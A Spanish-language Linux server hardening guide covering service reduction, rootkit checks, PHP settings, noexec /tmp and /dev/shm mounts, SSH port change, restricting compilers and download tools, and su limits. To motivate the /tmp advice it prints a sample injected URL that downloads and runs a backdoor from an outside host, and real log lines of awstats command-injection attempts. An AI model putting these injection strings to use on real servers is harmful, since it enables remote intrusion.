Recomendaciones de seguridad en Linux
Recomendaciones generales
- Compilar un kernel, si es posible, estático, (sin soporte para módulos).
- Si no necesitamos ningún servidor de correo abierto al exterior, reconfigurar el instalado para que sólo escuche en 127.0.0.1.
- Si no vamos a utilizar remotamente mysql, añadir la opción del skip-networking en el /etc/my.cnf. Con esto conectaremos vía socket local y se dejarán de aceptar conexiones en el puerto 3306.
- Si no es necesario, desinstalar portmap y servicios asociados (rpc, statd, nfs-kernel-server, etc.).
- Eliminar todos los servicios no necesarios y procesos en memoria.
- Instalar algún software de control de binarios como tripwire, aide y algún chequeador de rootkits como chkrootkit y rkhunter.
00 4 * * * root rkhunter --update > /dev/null 2>&1 30 4 * * * root rkhunter -c --nocolors --cronjob --report-mode \ --createlogfile --skip-keypress --quiet
- Los logs de los analizadores (tripwire, rkhunter, etc.), no dejarlos nunca en el sistema, enviarlos por email a una máquina externa (para evitar que sean falseados).
Cambiar diferentes opciones de PHP
- Activar el safe_mode = on de php.ini para PHP. Eso hace que cuando se ejecuta un script que es de usuario:grupo, ese script sólo puede acceder a ficheros de usuario:grupo. Es decir, no podria hacer un cat del /etc/passwd aunque tenga permiso de lectura para todos. El safemode tampoco permite ejecutar comandos (para que no te hagan via fallos de apache ids, uname -a, y demás). A veces no es posible activar el safemode, depende de si tenemos alguna aplicación que sea incompatible con él o no (por ejemplo, algunos webmails no funcionan si activas safe_mode) (http://es2.php.net/features.safe-mode).
- Desactivar Register_globals (a Off) si las aplicaciones PHP que usemos están bien realizadas (es decir, deben acceder a las variables de los formularios mediante $_POST['VARIABLE']). Conviene que leas el manual de PHP relativo a register_globals para saber qué hace antes de tocar nada (http://es.php.net/register_globals). Al respecto del safe_mode y register_globals, tener en cuenta que se pueden habilitar sólo a nivel de Host, en la config. del virtualhost de dicha web. Esto te permite dejar el server con safe_mode y register_globals a nivel de server, y desactivarlos donde necesites/quieras. Reitero que NO funciona en .htaccess por seguridad, tiene que ir en la conf de apache.
php_admin_flag safe_mode off php_admin_flag register_global on
- Desactivar el Error Reporting de forma que no aparezcan por pantalla errores de PHP/Base de datos (no dando pistas de nombres de tablas, bases de datos, etc.). Para ello, cambiar las opciones display_errors, y/o error_reporting de php.ini. (http://es.php.net/error_reporting).
Montar /tmp como partición
Es recomendable montar /tmp como una partición aparte del sistema, ya que de ese modo puedes montarla con los parámetros noexec, nosuid, y nodev. Estos parámetros provocan que no se puedan ejecutar binarios ni scripts en /tmp, con lo cual evitamos a muchos usuarios que suben a /tmp binarios y shells y los ejecutan, aprovechando fallos en apache o php.
Mediante fallos de aplicaciones mal programadas en PHP o PERL (como programas de estadísticas, webmails), muchos "hackers" consiguen ejecutar cosas como:
http://MAQUINA.COM/index2.php?cmd='cd /tmp; wget www.juacker.com/bd; chmod 777 bd; ./bd'
(abriendo una shell desde la que entrar a nuestra máquina en remoto como usuario www-data).
Ejemplos de logs de apache reales:
A.B.C.D - - [04/Feb/2005:02:39:04 +0100] "GET /cgi-bin/awstats.pl?configdir=|echo;echo;cd%20/tmp;chmod%20777%20bind;./bind;echo;echo| HTTP/1.0" 200 305 "-" "Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)" X.Y.Z.W - - [02/Feb/2005:21:45:24 +0100] "GET /cgi-bin/awstats.pl?configdir=%7cecho%20%3becho%20b_exp%3bcd%20%2ftmp%2f%3b%20mkdir%20%2 e%2e%2e%3b%20cd%20%2e%2e%2e%2f%3b%20mkdir%20%2e%2e%2e%3bcd%20%2e%2e%2e%2f%3b%20mkdir%20% 2e%2e%2e%3b%20cd%20%2e%2e%2e%2f%3b%20%20pwd%3becho%20e_exp%3b%2500 HTTP/1.1" 200 499 "-" "-" H.I.J.K - - [31/Jan/2005:21:46:53 +0100] "GET /cgi-bin/awstats.pl?configdir=%7c%20echo%20%22You%20have%20been%20Owned%2c%20update%20AW stat%20or%20patch%22%20%3e%20%2ftmp%2fOWNED%20%7c%20 HTTP/1.1" 200 6349 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts)"
Para evitar esto se usan ciertas opciones al montar /tmp que lo evitan. Claro está, que tenemos que haber previsto que /tmp iba a ser una partición y haberla creado para poder usarla.
Al instalar, si metes /tmp como partición sólo tendrás que cambiar el fstab a posteriori (para el noexec, nomount, etc) y hacer:
cd /var mv /var/tmp/* /tmp rmdir tmp ln -s /tmp /var/tmp
Un ejemplo de mi /etc/fstab para /tmp:
/dev/hda7 /tmp ext3 nosuid,noexec,nodev,rw 0 2
Si no tenemos /tmp como una partición pero sí tenemos espacio para crear la partición nueva podemos hacer una "conversión", mediante los siguientes comandos: (ejemplo):
fdisk /dev/disco (crear particion) mkfs.ext2 -v /dev/loquesea (Editar fstab y añadir linea en cuestion) (parar servicios, hasta que /tmp esté vacio) mkdir /temp mv /tmp/* /temp mount /tmp chmod a+rwx /tmp chmod +t /tmp mv /temp/* /tmp rmdir /temp
(y ahora los mismos pasos que antes, para que /var/tmp sea → /tmp)
cd /var mv /var/tmp/* /tmp rmdir tmp ln -s /tmp /var/tmp (probamos a arrancar los servicios)
Tras esto lo mejor es reiniciar para ver que todo está correctamente.
Veamos un ejemplo de qué conseguimos con esto:
[sromero@pinsa:/tmp]$ whoami sromero [sromero@pinsa:/tmp]$ cat p.sh #!/bin/sh echo "Hola" [sromero@pinsa:/tmp]$ ./p.sh bash: ./p.sh: /bin/sh: bad interpreter: Permission denied [sromero@pinsa:/tmp]$ cp /usr/local/bin/unrar . [sromero@pinsa:/tmp]$ ./unrar bash: ./unrar: Permission denied
Como puede verse, con esto los hackers tienen algo más difícil el descargar binarios en /tmp y ejecutarlos. Ojo, esto no es la seguridad absoluta, cualquier buen hacker de verdad encontrará una vía diferente, pero sí que te quitarás de encima a todos esos niñatos que se dedican a copiar y pegar comandos de una web de hackers o el txt del exploit del mes.
/tmp seguro como fichero
Este apartado describe como crear un /tmp seguro en máquinas sin espacio particionable en disco. Para ello se utilizará un fichero de loopback, que es bastante más lento que una partición, por lo que sólo se recomienda en máquinas donde no quede otra opción ni se pueda reparticionar.
Creamos un fichero temporal en una partición con suficiente espacio, y lo hacemos relleno de ceros y de 250MB (en este caso, puede ser mayor para otros). Por ejemplo, en mi caso en /. Después, lo formateamos como si fuera una partición, y cambiamos los parámetros de chequeo:
# dd if=/dev/zero of=/tmp_partition bs=1024 count=250000 # mke2fs /tmp_partition # tune2fs -c 200 -i 200 /tmp_partition
A continuación hacemos pruebas de que funciona OK (entramos en /temp y probamos a crear y modificar ficheros. Al acabar los borramos y desmontamos /temp tras salir del directorio):
# mkdir /temp # mount -t ext2 /tmp_partition /temp/ -o loop,rw # (...) # umount /temp
Si hay algún problema al montarlo, es porque no tenemos soporte de unidades loopback en nuestro kernel y tenemos que recompilar el kernel para activar la opción (no obstante es muy común y seguramente la tendremos activada).
El siguiente paso será añadir una entrada al /etc/fstab y comprobar que está bien añadida. Editamos dicho fichero y añadimos la siguiente línea:
/tmp_partition /temp ext2 loop,noexec,nosuid,rw 0 2
Ahora podemos probar directamente con:
# mount /temp # umount /temp # rmdir /temp
Una vez tenemos bien el fstab, pasamos a usar /tmp en lugar de /temp. Para eso editamos el fstab y lo dejamos como:
/tmp_partition /tmp ext2 loop,noexec,nosuid,rw 0 2
Para poder montar /tmp nos tenemos que asegurar de que todos los servicios que escriben en /tmp están parados. Lo normal es parar Apache, Oracle, Vmware, etc. Podemos ver si hay más ficheros en uso con "lsof -n | grep tmp". Una vez esté libre /tmp, hacemos:
# mount /tmp # chmod 1777 /tmp # mv /var/tmp/* /tmp # rmdir /var/tmp # ln -s /tmp /var/tmp
Con esto tenemos un /tmp y un /var/tmp seguros, donde no se pueden ejecutar binarios y separados del resto del sistema. Los dispositivos loopback son algo más lentos que escribir directamente en una partición, pero no es nada especialmente lento, y sólo se recomienda evitar su uso en máquinas con mucha carga y que hagan uso intensivo de /tmp.
Si alguna vez es necesario deshacer el cambio para ganar espacio en disco en / (por ejemplo), es tan sencillo como:
# (parar servicios) # mkdir /temp # mv /tmp/* /temp/ # umount /tmp # chmod 1777 /tmp # (quitar o comentar la línea de /tmp en /etc/fstab) # mv /temp/* /tmp/ # rmdir /temp # (arrancar servicios)
En resumen, con todos estos pasos conseguimos una partición /tmp segura, separada del sistema, incluso en máquinas sin espacio para particionar.
Securizar la memoria compartida /dev/shm
Al igual que se puede securizar /tmp, podemos securizar de la misma forma /dev/shm, la memoria compartida que utilizan algunas aplicaciones para poder comunicarse entre ellas. Es posible que no la tengamos en el sistema, pero si la tenemos, lo mejor es transformar la línea del /etc/fstab para que sea:
none /dev/shm tmpfs defaults,noexec,nosuid 0 0
Y tras esto, podemos reiniciar (o umount+mount si no está en uso).
Cambiar SSH de puerto: del 22 al 26:
Os muestro los cambios realizados en mi sistema Debian:
# grep ssh-new /etc/services ssh-new 26/tcp # SSH Remote Login Protocol ssh-new 26/udp # SSH Remote Login Protocol # grep ssh-new /etc/inetd.conf ssh-new stream tcp nowait root /usr/sbin/tcpd /usr/sbin/sshd -i
(hay que acordarse de abrirlo también en el firewall).
En otras distribuciones podéis necesitar modificar más bien xinetd.
Permisos sobre binarios de compilación y descargas
Eliminar los permisos de binarios que puedan permitir descargar o compilar rootkits o scripts:
chmod 0700 /usr/bin/make chmod 0700 /usr/bin/gcc* chmod 0700 /usr/bin/g++* chmod 0700 /usr/bin/cc* chmod 0700 /usr/bin/as86 chmod 0700 /usr/bin/as chmod 0700 /usr/bin/lynx chmod 0700 /usr/bin/wget chmod 0700 /usr/bin/curl chmod 0700 /usr/bin/lpw-download chmod 0700 /usr/bin/fetch chmod 0700 /usr/bin/nc chmod 0700 /usr/bin/sftp
De esta forma, sólo root puede compilar o descargar archivos.
Limitar permisos de "su" a determinados usuarios
Editar /etc/pam.d/su y descomentar la siguiente línea:
# Uncomment this to force users to be a member of group root # before they can use `su'. You can also add "group=foo" # to the end of this line if you want to use a group other # than the default "root" (but this may have side effect of # denying "root" user, unless she's a member of "foo" or explicitly # permitted earlier by e.g. "sufficient pam_rootok.so"). # (Replaces the `SU_WHEEL_ONLY' option from login.defs) auth required pam_wheel.so # Otra opcion: #auth required pam_wheel.so group=admins # # Y despues adduser admins root
Agregar al grupo root a todos los usuarios a los que queramos dar permiso de hacerse root:
adduser admin root adduser sromero root (...)
Logar timestamp de comandos en el history
Realizar los siguientes cambios en el .bashrc de root, admin, etc:
export HISTSIZE=5000 export HISTTIMEFORMAT="%F %T " export HISTIGNORE="ls:" export HISTCONTROL="ignorespace"
El comando history mostrará ahora la hora de ejecución de los comandos.